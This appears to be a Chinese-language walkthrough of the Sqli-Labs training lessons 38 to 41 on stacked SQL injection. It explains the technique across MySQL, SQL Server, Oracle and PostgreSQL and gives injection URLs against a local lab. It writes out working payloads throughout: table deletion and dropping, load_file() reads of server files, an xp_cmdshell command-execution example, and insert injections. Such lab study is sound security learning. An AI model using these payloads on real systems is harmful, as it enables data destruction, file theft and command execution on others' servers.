Sqli-Labs:Less 38 - Less 41

Less 38

基于错误_GET_单引号_字符型_堆叠注入

从这关开始便是 Page 3 的内容了:Stack Injection(堆叠注入),从名词含义看就是多条 sql 语句一起执行。

首先我们要学习前置知识:堆叠注入的原理、局限性与各数据库的实例。

参考:《MySQL注入天书》

0x01. 原理介绍

在 SQL 中,分号;用来表示一条 SQL 语句的结束。试想我们在;结束一个 SQL 语句后继续构造下一条语句,两条语句会不会一起执行?这个想法也就造就了堆叠注入。

Union Injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别?
区别就在于union或者union all执行的语句类型是有限的,可以用来执行查询语句,且在 MySQL 中返回的列数需要相等;而堆叠注入可以执行的是任意的语句。

例,用户提交:

id=1;delete from users

而服务器未做检查,生成的 SQL 语句为:

select * from users where id=1;delete from users

执行后,第一条将显示查询信息,第二条将删除整个表。

0x02. 局限性

堆叠注入并不是在每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制,同时权限不足也会使攻击者无法修改数据或者调用一些程序。

虽然前面提到了堆叠查询可以执行任意的 SQL 语句,但是这种注入方式并不是十分完美。在我们的 Web 系统中,代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面无法看到返回结果。

因此在读取数据时,建议使用union注入。同时在使用堆叠注入之前,我们也需要知道一些数据库相关信息如表名,列名等。

Sqli-Labs:Less 38 - Less 41_第1张图片

0x03. 数据库实例

下面介绍几个常用数据库的堆叠操作:基本操作与增删查改。

0x03-01. MySQL
  1. 新建表test
    select * from users where id=1;create table test like users;
  2. 删除新建表test
    select * from users where id=1;drop table test;
  3. 查询数据
    select * from users where id=1;select 1,2,3;
  4. 加载文件
    select * from users where id=1;select load_file('c:/test.php');
  5. 修改数据
    select * from users where id=1;insert into users(id,username,password) values('100','name','pswd');

load_file()函数

读取文件并返回文件内容为字符串。

要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限;该文件所有字节可读,但文件内容必须小于max_allowed_packet

如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回NULL

Sqli-Labs:Less 38 - Less 41_第2张图片

注意:这里还是有数据导入导出权限的问题,在 Less 7 中也遇到过。

Mysql数据库需要在指定的目录下进行数据的导出。
secure_file_priv这个参数用来限制数据导入和导出操作的效果,例如执行load datainto outfile语句和load_file()函数,这些操作需要用户具有file权限。

1. 如果这个参数为空,这个变量没有效果。
2. 如果这个参数设为一个目录名,Mysql服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它.
3. 如果这个参数为null,Mysql服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入。

于是查看secure_file_priv

show variables like '%secure%'
Sqli-Labs:Less 38 - Less 41_第3张图片

在指定的位置导出文件:

Sqli-Labs:Less 38 - Less 41_第4张图片

注意:在 MySQL 中,需要注意路径转义的问题,即用/\\分隔。

参考:
windows下mysql loadfile返回NULL的解决
MySQL里设置或修改系统变量的几种方法

这里有修改系统变量的几种方法,可以考虑注入时涉及文件操作时先修改权限。

0x03-02. SQL Server
  1. 新建表
    select * from test;create table test2(ss CHAR(8));
  2. 删除新建表
    select * from test;drop table test2;
  3. 查询数据
    select * from test;select 1,2,3;
  4. 修改数据
    select * from test;update test set name='name' where id=1;
  5. SQL Server中最为重要的存储过程的执行 *有待学习
    select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
    【*有待学习】
0x03-03. Oracle

上面的图中已经提及,Oracle 不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错无效字符。

0x03-04. Postgresql
  1. 新建表
    select * from user_test;create table user_data(id DATE);
  2. 删除新建表
    select * from user_test;delete from user_data;
  3. 查询数据
    select * from user_test;select 1,2,3;
  4. 修改数据
    select * from user_test;update user_test set name='new' where name='name';

0x04. 注入过程

堆叠注入需要依靠前文所写的各种注入方式来获取数据库的信息,在这里只演示如何插入新的数据。

http://localhost:8088/sqlilabs/Less-38/?id=1';insert into users(id,username,password) values(38,'Less38','Less38')--+

Sqli-Labs:Less 38 - Less 41_第5张图片

Less 39

基于错误_GET_数字型_堆叠注入

类似 Less 38,Less 39 是数字型注入,没有过滤任何东西。

http://localhost:8088/sqlilabs/Less-39/?id=1;insert into users(id,username,password) values(39,'Less39','Less39')--+

Sqli-Labs:Less 38 - Less 41_第6张图片

Less 40

基于Bool_GET_单引号_小括号_字符型_盲注_堆叠注入

正常注入可以用脚本 Bool 盲注,堆叠注入如下:

http://localhost:8088/sqlilabs/Less-40/?id=1');insert into users values(40,'Less40','Less40')--+

Sqli-Labs:Less 38 - Less 41_第7张图片

Less 41

基于Bool_GET_数字型_盲注_堆叠注入

正常注入可以用脚本 Bool 盲注,堆叠注入如下:

http://localhost:8088/sqlilabs/Less-41/?id=1;insert into users values(41,'Less41','Less41')--+

Sqli-Labs:Less 38 - Less 41_第8张图片

你可能感兴趣的:(Sqli-Labs:Less 38 - Less 41)